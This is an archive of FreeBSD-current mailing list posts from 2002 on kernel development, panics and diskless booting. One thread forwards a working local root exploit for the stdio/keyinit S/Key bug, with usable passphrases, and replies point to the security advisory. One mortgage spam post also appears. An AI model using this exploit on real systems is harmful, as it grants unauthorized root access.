Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting
Danny, What do you think about doing a little more polishing and rolling a new set of patches taking this /etc/rc.conf option into account? Your kernel env dhcp variables are really good. I know that many do want to do what you are doing (large scale RO /); but up until now /etc/rc.diskless* has not been well engineered. polishing wont help, if i don't know all the problems :-) in the begining, there was no way to mount / ro - sunos would not run, and so we had zilions of /, one for each host, linux makes a mfs image, so even if freebsd is a bit messy it is by far better engineered - my .5$ the root_rw_mount is fine, but it's a bit late. now that devfs is here (great!) the only problem to solve is what/how to deal with /etc rc.conf* fstab X11 and some othere local-configurable files. the name/value knobs are fine - though some more documentation ... :-) btw, there is still another tricky problem: if i have / ro, and shared among many hosts, i can't: 1- easely specify different kernels i do this at the moment by commenting out kernel= in boot/loader.conf and passing it as a dhcp tag. 2- loadable modules for the very early modules: like unionfs, no harm in loading it, so fine but what about others that might cause problems? later ones, i load from rc.local and now for some coffee, danny To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
diskless configuration, was ... diskless booting
im modifying libstand/bootp.c, and im trying to read a file via tftp/nfs, while i'm sure i'll figure it out - eventualy, can someone help me out here? thanks, danny To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Locking down a socket, milestone 1
On Wed, 24 Apr 2002 10:18:01 -0400 (EDT), John Baldwin [EMAIL PROTECTED] said: jhb On 24-Apr-2002 Seigo Tanimura wrote: I am now working on locking down a socket. (I have heard that Jeffrey Hsu is also doing that, but I have never seen his patch. Has anyone seen that?) My first milestone patch is now available at: http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz The works I have done so far are: - Determine the lock required to protect each of the members in struct socket. - Add mutexes to each of the sockbufs in a socket as BSD/OS does. - Lock down so_count, so_options, so_linger and so_state. - Add a global mutex socq_lock to protect the connection queues of a listening socket. Lock socq_lock to lock two sockets at once, followed by enqueuing or dequeuing a socket, or moving a socket across queues. socq_lock is not an sx lock because we usually have to lock two sockets to modify them. jhb Do you actually lock two sockets at once or do you lock one at a time while jhb holding socq_lock. If you do lock two at once, what is the defined locking jhb order? At the moment, I lock two sockets at once. This is required, eg in soisconnected() to move an accepting socket across the connection queues of a listening socket. The lock order is: 1. socq_lock 2. an accepting socket 3. a listening socket (in so_head of the accepting socket) -- Seigo Tanimura [EMAIL PROTECTED] [EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
FreeBSD security hole?
Have a nice day!
Yesterday I received that message from one of linux guys:
--- forward message ---
/*
phased/b10z
[EMAIL PROTECTED] mailto:[EMAIL PROTECTED]
23/04/2002
stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE
decided to make a trivial exploit to easily get root :)
id
uid=1003(phased) gid=999(phased) groups=999(phased)
./iosmash
Adding phased:
--- HIT CTRL-C ---
su
s/key 98 snosoft2
Password:MASS OAT ROLL TOOL AGO CAM
xes#
this program makes the following skeys valid
95: CARE LIVE CARD LOFT CHIC HILL
96: TESS OIL WELD DUD MUTE KIT
97: DADE BED DRY JAW GRAB NOV
98: MASS OAT ROLL TOOL AGO CAM
99: DARK LEW JOLT JIVE MOS WHO
http://www.snosoft.com
cheers Joost Pol
*/
#include stdio.h
#include unistd.h
int main(int argc, char *argv[]) {
while(dup(1) != -1);
close(2);
execl(/usr/bin/keyinit,
\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n);
}
--- forward message ---
He ask me to verify that information. I did. And it works.
And the second message that I recived today:
--- message ---
phased had some comments he wanted me to forward on to the lists in
regards to his latest exploit.
He says that skeys are used via all authentication methods... i.e telnet, so
someone could change the user to someone in the wheel group. Haven't used
skeys via ssh yet but I presume it works. Root obviously can't just telnet
in by default but usually can ssh, but if the box being exploited contains
people in the wheel group you can change the root user in the exploit to any
user to log in via skeys as that user.
--- message ---
I not so well understand in interiors of system, I only see,
that during 30 seconds have got access to the root account
(of course, from the account of the user who is included in group wheel,
differently su, naturally, not gives access).
Therefore I ask to comment on these messages. How dangerous can it be?
--
Sincerelly yours,
Vl
To Unsubscribe: send mail to [EMAIL PROTECTED]
with unsubscribe freebsd-current in the body of the message
Re: FreeBSD security hole?
Hello, stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE decided to make a trivial exploit to easily get root :) Indeed, see security advisory FreeBSD-SA-02:23.stdio at: ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc Please upgrade to 4.5-p4 or 4-STABLE (April 21 or after). Regards, Cedric Ware. To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Locking down a socket, milestone 1
* Seigo Tanimura [EMAIL PROTECTED] [020425 01:19] wrote: http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz This looks really good so far! Needs some more comments explaining socq_lock. Watch long line wraps. Why is there a sigio lock in this delta? -- -Alfred Perlstein [[EMAIL PROTECTED]] 'Instead of asking why a piece of software is using 1970s technology, start asking why software is ignoring 30 years of accumulated wisdom.' Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/ To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
4 panics under 5.0 on ports cluster
I've had 4 panics on the ports cluster in the past couple of days.
They're running kernels from March 31 which have been very stable
since then, but on the other hand I've been building packages
intensively for the past few days. Is there anything interesting
here? I have the cores if more information is needed.
Kris
panic: ffs_valloc: dup alloc
Uptime: 3d6h42m19s
(kgdb) bt
#0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506
#1 0xc0207cb0 in boot (howto=260) at
/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338
#2 0xc020814f in panic (fmt=0xc037f781 ffs_valloc: dup alloc)
at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648
#3 0xc02cb682 in ffs_valloc (pvp=0xdb4d7000, mode=16832, cred=0xdcc4b180,
vpp=0xd9627ac8)
at /local0/scratch/usr/src/sys/ufs/ffs/ffs_alloc.c:639
#4 0xc02e0b15 in ufs_mkdir (ap=0xd9627c14) at
/local0/scratch/usr/src/sys/ufs/ufs/ufs_vnops.c:1380
#5 0xc02e1d85 in ufs_vnoperate (ap=0xd9627c14)
at /local0/scratch/usr/src/sys/ufs/ufs/ufs_vnops.c:2660
#6 0xc024a06a in vn_mkdir (path=0x804f3e0 ./share/doc/ja, mode=448,
segflg=UIO_USERSPACE,
td=0xd9414a00) at vnode_if.h:537
#7 0xc0249e90 in mkdir (td=0xd9414a00, uap=0xd9627d20)
at /local0/scratch/usr/src/sys/kern/vfs_syscalls.c:3647
#8 0xc0326d8f in syscall (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 0,
tf_esi = 134580224,
tf_ebp = -1077938244, tf_isp = -647856780, tf_ebx = 134542315, tf_edx =
134535775,
tf_ecx = 672225016, tf_eax = 136, tf_trapno = 12, tf_err = 2, tf_eip =
671827427, tf_cs = 31,
tf_eflags = 647, tf_esp = -1077938384, tf_ss = 47})
at /local0/scratch/usr/src/sys/i386/i386/trap.c:1033
#9 0xc0317b1d in syscall_with_err_pushed ()
#10 0x804c4c1 in ?? ()
#11 0x804c4c1 in ?? ()
#12 0x804c4c1 in ?? ()
#13 0x804bfa3 in ?? ()
#14 0x804b511 in ?? ()
#15 0x80493c9 in ?? ()
(kgdb)
panicstr: ffs_valloc: dup alloc
panic messages:
---
dmesg: kvm_read:
---
#0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506
506 /local0/scratch/usr/src/sys/kern/kern_shutdown.c: No such file or directory.
(kgdb) bt
#0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506
#1 0xd933b14c in ?? ()
#2 0xc0207cb0 in boot (howto=260) at
/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338
#3 0xc020814f in panic (fmt=0xc037f781 ffs_valloc: dup alloc)
at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648
#4 0xc02cb682 in ffs_valloc (pvp=0xd99d3b2c, mode=16895, cred=0xdb1f2600,
vpp=0xdb4ccac8)
at /local0/scratch/usr/src/sys/ufs/ffs/ffs_alloc.c:639
#5 0xc02e0b15 in ufs_mkdir (ap=0xdb4ccc14) at
/local0/scratch/usr/src/sys/ufs/ufs/ufs_vnops.c:1380
#6 0xc02e1d85 in ufs_vnoperate (ap=0xdb4ccc14)
at /local0/scratch/usr/src/sys/ufs/ufs/ufs_vnops.c:2660
#7 0xc024a06a in vn_mkdir (path=0x8093040 Address 0x8093040 out of bounds, mode=511,
segflg=UIO_USERSPACE, td=0xdb483100) at vnode_if.h:537
#8 0xc0249e90 in mkdir (td=0xdb483100, uap=0xdb4ccd20)
at /local0/scratch/usr/src/sys/kern/vfs_syscalls.c:3647
#9 0xc0326d8f in syscall (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 0,
tf_esi = 134819904,
tf_ebp = -1077938120, tf_isp = -615723660, tf_ebx = 134819914, tf_edx = -1,
tf_ecx = 47,
tf_eax = 136, tf_trapno = 12, tf_err = 2, tf_eip = 134605092, tf_cs = 31,
tf_eflags = 647,
tf_esp = -1077938164, tf_ss = 47}) at
/local0/scratch/usr/src/sys/i386/i386/trap.c:1033
#10 0xc0317b1d in syscall_with_err_pushed ()
Cannot access memory at address 0xbfbff838.
panic: sleeping thread owns a mutex
Uptime: 8h52m59s
(kgdb) bt
#0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506
#1 0xc0207cb0 in boot (howto=260) at
/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338
#2 0xc020814f in panic (fmt=0xc0367580 sleeping thread owns a mutex)
at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648
#3 0xc0200a35 in propagate_priority (td=0xcd23d400)
at /local0/scratch/usr/src/sys/kern/kern_mutex.c:110
#4 0xc0200ffb in _mtx_lock_sleep (m=0xc767866c, opts=0,
file=0xc03858e0 /local0/scratch/usr/src/sys/vm/uma_core.c, line=1489)
at /local0/scratch/usr/src/sys/kern/kern_mutex.c:389
#5 0xc0200c6b in _mtx_lock_flags (m=0xc767866c, opts=0,
file=0xc03858e0 /local0/scratch/usr/src/sys/vm/uma_core.c, line=1489)
at /local0/scratch/usr/src/sys/kern/kern_mutex.c:208
#6 0xc02f3017 in uma_zfree_arg (zone=0xc76785a0, item=0xd0dc2000, udata=0xcfa75678)
at /local0/scratch/usr/src/sys/vm/uma_core.c:1489
#7 0xc01ffb5d in free (addr=0xd0dc2000, type=0xc03c5280)
at /local0/scratch/usr/src/sys/kern/kern_malloc.c:232
#8 0xc02d61e2 in softdep_disk_write_complete (bp=0xc772b650)
at /local0/scratch/usr/src/sys/ufs/ffs/ffs_softdep.c:3550
#9 0xc023b011 in bufdone (bp=0xc772b650) at /local0/scratch/usr/src/sys/sys/buf.h:405
#10 0xc023aedf in bufdonebio (bp=0xc772b650) at
/local0/scratch/usr/src/sys/kern/vfs_bio.c:2805
#11 0xc017e571 in ad_interrupt (request=0xcf21fb40) at
Re: FreeBSD security hole?
On Thu, Apr 25, 2002 at 02:22:10PM +0600, Vladimir G. Drobyshevsky wrote: Have a nice day! Yesterday I received that message from one of linux guys: Perhaps you should read the security advisories we release. Kris msg37685/pgp0.pgp Description: PGP signature
Re[2]: FreeBSD security hole?
Hello all! stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE decided to make a trivial exploit to easily get root :) CW Indeed, see security advisory FreeBSD-SA-02:23.stdio at: CW ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc CW Please upgrade to 4.5-p4 or 4-STABLE (April 21 or after). That's really strange - I subscribed to freebsd-security-notifications, but didn't receved that message. Or just readed it by Delete key. ;-) Anyway, thank you for your help. -- Best regards, Vl To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
PPPoE using aue ethernet goes kernel panic
Following are observed with 5-current kernel as of Apr/25/2002. Fatal trap 12: page fault while in kernel mode fault virtual address = 0x6 fault code = supervisor read, page not present instruction pointer = 0x8:0xc01898d1 stack pointer = 0x10:0xc9476b24 frame pointer = 0x10:0xc9476b40 code segment= base 0x0, limit 0xf, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags= interrupt enabled, resume, IOPL = 0 current process = 136 (ppp) trap number = 12 panic: page fault I'm subscribing NTT's ADSL line, and using 'aue' USB ethernet for PPPoE device. The kernel boots fine, detecting my aue0, but while /etc/rc is running, kernel panics. I must provide more detailed information, but here's quick report. -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: PPPoE using aue ethernet goes kernel panic
matusita I must provide more detailed information, but here's quick report. Using trace command, this panic is caused by: usbd_open_pipe_ival(c40416e0, 1, c8148858, ) at usbd_open_pipe_ival+0x1d usbd_open_pipe(c40416e0, 81, 1, c8148858, c40769c0, c8148880, 2, 1, c8148880, 2) at usbd_open_pipe+0x1a aue_init(...) (this is by hand copy, so it may have some typos). -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting
On Wed, 24 Apr 2002, M. Warner Losh wrote: In message: [EMAIL PROTECTED] David O'Brien [EMAIL PROTECTED] writes: : On Tue, Apr 23, 2002 at 12:19:58PM -0400, Robert Watson wrote: : diskless_root_readonly=NO # Make it YES for readonly : : good. What's wrong with the current root_rw_mount knob? It works just fine. The original complaint was that Danny's patches _assume_ that the root is going to remain R/O and just provide two ways of populating the MFS /etc, rather than allowing for the case where the MFS /etc isn't required at all. (actually, this is just reversing a recent obrien improvement to rc.diskless1 that made the MFS /etc conditional - it's still automatic in -stable and has been for a long while). There isn't a problem with controlling the root mount; diskless_root_readonly is a solution to a non-problem. The real problem is that (in the case where you want it) there is no one good way of constructing the MFS /etc - there are lots of bad ways, various of which have been committed to rc.diskless1 at different times, and still more used privately: 1) Create an MFS mounted on an arbitrary mountpoint, then use mount_null to install it over /etc when it's been populated. This was the original version when the support for read-only root appeared in rc.diskless back in 1999 (3.2-RELEASE). Gave problems because null mounts didn't (still don't?) work very well - mmap() caused panic for example. 2) Copy the files out of /etc into /tmp, then mount the MFS directly on /etc and copy the files back again. This appeared in 2001 (4.3-RELEASE) 3) Avoid the double copy on each boot by requiring the administrator to keep a copy in /conf/default/etc that can be copied directly to an MFS mounted on /etc. This appeared a couple of months later (4.4-RELEASE). 4) Small performance improvement on 3) - use a gzipped CPIO archive if available, rather than copying lots of small files which can be slow over NFS. This has just recently been committed to -stable by Luigi. 5) Danny's solution: Mount the MFS on /conf/etc, then use unionfs mounts to install it over /etc. Does unionfs work any better than mount_null? 6) My solution: Mount a second instance of the root FS on /conf/default then copy as in 3). Avoids maintaining two copies of /etc, but only works on NFS and doesn't solve the performance problem. To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
A sigio lock (was: Re: Locking down a socket, milestone 1)
On Thu, 25 Apr 2002 18:01:51 +0900, Seigo Tanimura [EMAIL PROTECTED] said: Seigo On Thu, 25 Apr 2002 01:36:44 -0700, Seigo Alfred Perlstein [EMAIL PROTECTED] said: bright * Seigo Tanimura [EMAIL PROTECTED] [020425 01:19] wrote: http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz bright Why is there a sigio lock in this delta? Seigo I should have stripped that out, but my patch would result in lock Seigo order reversal between a socket lock and a process lock. As we Seigo protect p_fd by a process lock, we have to lock it prior to locking a Seigo file descriptor or a socket. Seigo I suppose I have to commit the stripped patch of a sigio lock first. The patch of a sigio lock is not stripped out at: http://people.FreeBSD.org/~tanimura/patches/sigio.diff.gz -- Seigo Tanimura [EMAIL PROTECTED] [EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Cash Out
Don't be raped by high interest rates! http://211.91.3.16/cl5/index.php Some types of rates start under 5% Fed will most likly begin to raise rates soon. Take 2 minutes for a FREE Quote! http://211.91.3.16/cl5/index.php Mortgage rates have NEVER been lower. Is your credit good? Get a loan beyond your wildest expectations! Your credit stinks? Lenders will still give you an absolutely amazing loan. Just click here and get started http://211.91.3.16/cl5/index.php For Removal just hit reply and put REMOVE in the subject line. To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: FreeBSD security hole?
On Thu, Apr 25, 2002 at 02:56:26PM +0600, Vladimir G. Drobyshevsky wrote: Hello all! stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE decided to make a trivial exploit to easily get root :) CW Indeed, see security advisory FreeBSD-SA-02:23.stdio at: CW ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc CW Please upgrade to 4.5-p4 or 4-STABLE (April 21 or after). That's really strange - I subscribed to freebsd-security-notifications, but didn't receved that message. Or just readed it by Delete key. ;-) Anyway, thank you for your help. It was on anounce as well for future reference. -- David W. Chapman Jr. [EMAIL PROTECTED] Raintree Network Services, Inc. www.inethouston.net [EMAIL PROTECTED] FreeBSD Committer www.FreeBSD.org To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: FreeBSD security hole?
Kris Kennaway wrote: On Thu, Apr 25, 2002 at 02:22:10PM +0600, Vladimir G. Drobyshevsky wrote: Have a nice day! Yesterday I received that message from one of linux guys: Perhaps you should read the security advisories we release. I never saw this, and thought I was subscribed to the security-announce list! To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
RE: Spin lock (?) problems with MUTEX_PROFILING
On 24-Apr-2002 Hiten Pandya wrote: Hi all, I am not generating a false alarm, but I compiled a fresh kernel yesterday with the MUTEX_PROFILING option, and it just went haywire just after the FreeBSD copyright messages and the build info: [ Copyright Info ] [ Build Information ] panic: spin lock mutex profiling lock not in order list I had no idea how to debug this, so I am sending it to the -current list and cc'ing a copy to DES. I am also attaching my kernel configuration file for reference purposes. This means WITNESS is broken with MUTEX_PROFIING (I guess they were never tested together without WITNESS_SKIPSPIN). The fix is for the MUTEX_PROFILING folks to add the spin lock into the spin lock order list in the proper location. -- John Baldwin [EMAIL PROTECTED]http://www.FreeBSD.org/~jhb/ Power Users Use the Power to Serve! - http://www.FreeBSD.org/ To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
RE: 4 panics under 5.0 on ports cluster
On 25-Apr-2002 Kris Kennaway wrote: panic: sleeping thread owns a mutex Uptime: 8h52m59s (kgdb) bt #0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506 #1 0xc0207cb0 in boot (howto=260) at #/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338 #2 0xc020814f in panic (fmt=0xc0367580 sleeping thread owns a mutex) at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648 #3 0xc0200a35 in propagate_priority (td=0xcd23d400) at /local0/scratch/usr/src/sys/kern/kern_mutex.c:110 Can you go to this frame, then dump the contents of 'm' to find the misbehaving mutex? WITNESS should have warned about this but I guess getting people to run WITNESS is too much to ask. -- John Baldwin [EMAIL PROTECTED]http://www.FreeBSD.org/~jhb/ Power Users Use the Power to Serve! - http://www.FreeBSD.org/ To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
RE: linux broken?
On 25-Apr-2002 Julian Elischer wrote: after a complete resup, re-checkout and recompile on trying to load the linux module: link_elf: symbol semop undefined Anyone have a quick fix? kldload sysvipc.ko or compile the SYSV stuff into your kernel. Perhaps the linux kld needs to have a module dependency on the sysvipc modules? julian -- John Baldwin [EMAIL PROTECTED]http://www.FreeBSD.org/~jhb/ Power Users Use the Power to Serve! - http://www.FreeBSD.org/ To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Revision 1.88 of kern_linker.c breaks module loading for diskless
Hello, the check for rootdev != NODEV introduced in rev 1.88 breaks loading of kernel modules from an NFS mounted root in diskless configurations. Dropping in gdb and printing rootdev shows -1 which is, I assume, NODEV. This worked before without problems. harti -- harti brandt, http://www.fokus.gmd.de/research/cc/cats/employees/hartmut.brandt/private [EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Locking down a socket, milestone 1
* Jeffrey Hsu [EMAIL PROTECTED] [020425 10:50] wrote: In article [EMAIL PROTECTED] you write: I am now working on locking down a socket. (I have heard that Jeffrey Hsu is also doing that, but I have never seen his patch. Has anyone seen that?) I have. :-) I do coarse-grain locking at the inpcb and sockbuf level as is done in BSD/OS. This is a lot simpler than locking down individual fields in struct socket. Are you sure we need such fine-grain locking? Huh? BSD/OS's source drop has two locks in each socket and a couple of global locks for things like the inpcb and such, it's pretty fine grained except the unix domain sockets where a global lock is held to protect against lock order reversals when having to lock both sockets. -- -Alfred Perlstein [[EMAIL PROTECTED]] 'Instead of asking why a piece of software is using 1970s technology, start asking why software is ignoring 30 years of accumulated wisdom.' Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/ To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Locking down a socket, milestone 1
If you compare the two approaches, the BSD/OS approach is simpler because it is coarse. You're confusing finer grain locking with better. To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: 4 panics under 5.0 on ports cluster
On Thu, Apr 25, 2002 at 02:06:51PM -0400, John Baldwin wrote: You have stale kernels. Yes, as noted the cluster has been running for a few weeks with March 31 kernels. I'll try again with WITNESS enabled next time I update them. Kris msg37704/pgp0.pgp Description: PGP signature
Re: Spin lock (?) problems with MUTEX_PROFILING
John Baldwin [EMAIL PROTECTED] writes: This means WITNESS is broken with MUTEX_PROFIING (I guess they were never tested together without WITNESS_SKIPSPIN). WITNESS makes my box about as useful as a heap of bricks, so no, MUTEX_PROFILING was never tested with WITNESS. The fix is for the MUTEX_PROFILING folks to add the spin lock into the spin lock order list in the proper location. Junior kernel hacker task. Note that it's always a leaf lock - no lock is ever acquired while the profiling lock is held. DES -- Dag-Erling Smorgrav - [EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Minor things: swi_net: unregistered isr number
On 25-Apr-2002 Jan Stocker wrote: My -current system gives me a swi_net: unregistered isr number: 18. too. I cant find any reply to this old subject. May anyone know where it comes from? It seems to trigger whenever there is traffic while the IP is 0.0.0.0, even for non-DHCP stuff. I'm not sure what is causing it. -- John Baldwin [EMAIL PROTECTED]http://www.FreeBSD.org/~jhb/ Power Users Use the Power to Serve! - http://www.FreeBSD.org/ To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Problems installing -Current on Dell Power Edge 4100
Hello, We are trying to convert a Dell Power Edge 4100 Server at work to a good use (from running NT Server 4.0) to FreeBSD. After installing either -current or 4.5, then rebooting the system does not try and boot at all when hitting 'F1'. No error(s) or messages of any kind it just does not seem to boot at all. Has anyone experienced a similar problem when trying to install FreeBSD on this platform?? Any info is appreciated . Thanks, Glenn Gombert [EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: panic at shutdown, ums related?
On 24 Apr, Terry Lambert wrote: USB is pretty hosed. :-( For a while, removing the mouse didn't get detected and you had to kill moused manually. Then the removal event happened. A new moused would start but it was impossible to kill -9 the old moused. If you remove the mouse again, it instantly panics the box. I've not seen what is happening as I've always been in X at the time. :-/ I don't have the need to remove the mouse. USB hates Mieces to pieces. I've taken to using NetGear based KVM switches, which is not really an option if the problem is with a laptop and/or docking port (sorry), but might be an OK way to deal with peripheral sharing on a desktop, until USB gets fixed. There's a fix for ums, joe want's to talk with the NetBSD developers first. I use this fix. The panic I see now is _new_, it's not the one I see if I don't use the fix. Bye, Alexander. -- It is easier to fix Unix than to live with NT. http://www.Leidinger.net Alexander @ Leidinger.net GPG fingerprint = C518 BC70 E67F 143F BE91 3365 79E2 9C60 B006 3FE7 To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Revision 1.88 of kern_linker.c breaks module loading for diskless
In message [EMAIL PROTECTED], Harti Brandt write s: the check for rootdev != NODEV introduced in rev 1.88 breaks loading of kernel modules from an NFS mounted root in diskless configurations. Dropping in gdb and printing rootdev shows -1 which is, I assume, NODEV. Ah, that would explain a problem I saw recently on a netbooted box where kldload only worked with full module paths. Could `rootvnode' be checked for NULL instead? Ian To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Minor things: swi_net: unregistered isr number
John Baldwin wrote: On 25-Apr-2002 Jan Stocker wrote: My -current system gives me a swi_net: unregistered isr number: 18. too. I cant find any reply to this old subject. May anyone know where it comes from? It seems to trigger whenever there is traffic while the IP is 0.0.0.0, even for non-DHCP stuff. I'm not sure what is causing it. This is well known. If we recieve an ARP frame before we sent one, then we print this. eg: a broadcast ARP packet will trigger it. dhclient etc use bpf etc so ARP isn't initialized at this point. Cheers, -Peter -- Peter Wemm - [EMAIL PROTECTED]; [EMAIL PROTECTED]; [EMAIL PROTECTED] All of this is for nothing if we don't go to the stars - JMS/B5 To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Revision 1.88 of kern_linker.c breaks module loading for diskless
In message [EMAIL PROTECTED], Harti Brandt write s: the check for rootdev != NODEV introduced in rev 1.88 breaks loading of kernel modules from an NFS mounted root in diskless configurations. Dropping in gdb and printing rootdev shows -1 which is, I assume, NODEV. Ah, that would explain a problem I saw recently on a netbooted box where kldload only worked with full module paths. Could `rootvnode' be checked for NULL instead? Hi, The intent is to discover whether there's a filesystem yet (vn_open() will die horribly otherwise). My use of rootdev is (obviously) flawed. AFAICT, either rootvp or rootvnode should be used, but I can't tell the difference between the two at a glance and am lacking development resources right now (my development box seems to enjoy dropping cores too frequently to build a kernel at the moment). If somebody could test that rootvnode or rootvp are non-NULL after an NFS-mounted root is set up, I'd thankfully approve the quick fix... :*) Cheers. Ian -- Brian [EMAIL PROTECTED][EMAIL PROTECTED] http://www.freebsd-services.com/brian@[uk.]FreeBSD.org Don't _EVER_ lose your sense of humour ! brian@[uk.]OpenBSD.org To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
nVidia nForce 420
Does nVidia nForce 420D chipset is supported by FreeBSD? I'm looking for motherboard upgrade and trying to choose chipset... I've booted my 2 week old FreeBSD on a Gigabyte 7ZXE motherboard... I don't like messages I saw... I'm thinked about Irongate+VIA686B soutbridge... But it seems that it have same problems... And looks that there are no true AMD chipset motherboard... Sincerely, Maxim M. Kazachek mailto:[EMAIL PROTECTED] mailto:[EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: nVidia nForce 420
Maxim M. Kazachek wrote: Does nVidia nForce 420D chipset is supported by FreeBSD? I'm looking for motherboard upgrade and trying to choose chipset... I've booted my 2 week old FreeBSD on a Gigabyte 7ZXE motherboard... I don't like messages I saw... I'm thinked about Irongate+VIA686B soutbridge... But it seems that it have same problems... And looks that there are no true AMD chipset motherboard... Check out the ASUS A7M266-D motherboard, or the Tyan Tiger MPX. Look like really nice motherboards, both of them (although I'm leaning toward the Tyan). -- Frank Mayhar [EMAIL PROTECTED] http://www.exit.com/ Exit Consulting http://www.gpsclock.com/ To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
RE: linux broken?
On Thu, 25 Apr 2002, John Baldwin wrote: kldload sysvipc.ko or compile the SYSV stuff into your kernel. Perhaps the linux kld needs to have a module dependency on the sysvipc modules? I did.. it make no difference. julian -- John Baldwin [EMAIL PROTECTED]http://www.FreeBSD.org/~jhb/ Power Users Use the Power to Serve! - http://www.FreeBSD.org/ To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
RE: linux broken?
On Thu, 25 Apr 2002, John Baldwin wrote: On 25-Apr-2002 Julian Elischer wrote: kldload sysvipc.ko or compile the SYSV stuff into your kernel. Perhaps the linux kld needs to have a module dependency on the sysvipc modules? there is no sysvipc module but this is what I tried.. jules# cd /boot/kernel jules# ls sy* sym.ko syscall_gate.ko sysvmsg.ko sysvsem.ko sysvshm.ko jules# kldload sysvmsg jules# kldload sysvsem jules# kldload sysvshm jules# kldload linux link_elf: symbol semop undefined kldload: can't load linux: Exec format error jules# julian -- John Baldwin [EMAIL PROTECTED]http://www.FreeBSD.org/~jhb/ Power Users Use the Power to Serve! - http://www.FreeBSD.org/ To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
free: address 0x3ce000(0x3ce000) has not been allocated.
This from the trustedbsd_mac branch -- malloc is largely untouched (except
for a patch I sent to Jeff from Brian Feldman that re-introduces memory
trashing on free), and specfs is untouched, so probably also applies to
recent -CURRENT. This could well be the malloc debugging panic some
others have referred to, but it's the first time I've bumped into it, so
figured I'd mention it. I'm in the process of integ'ing the branch to see
if that cleans things up some.
Robert N M Watson FreeBSD Core Team, TrustedBSD Project
[EMAIL PROTECTED] NAI Labs, Safeport Network Services
n/dev/md0c: 4096 isectors in 1 cylcinders of 1 trac:ks, 4096 sectors
free: address 0x3ce000(0x3ce000) has not been allocated.
cpuid = 1; lapic.id = 0100
Debugger(panic)
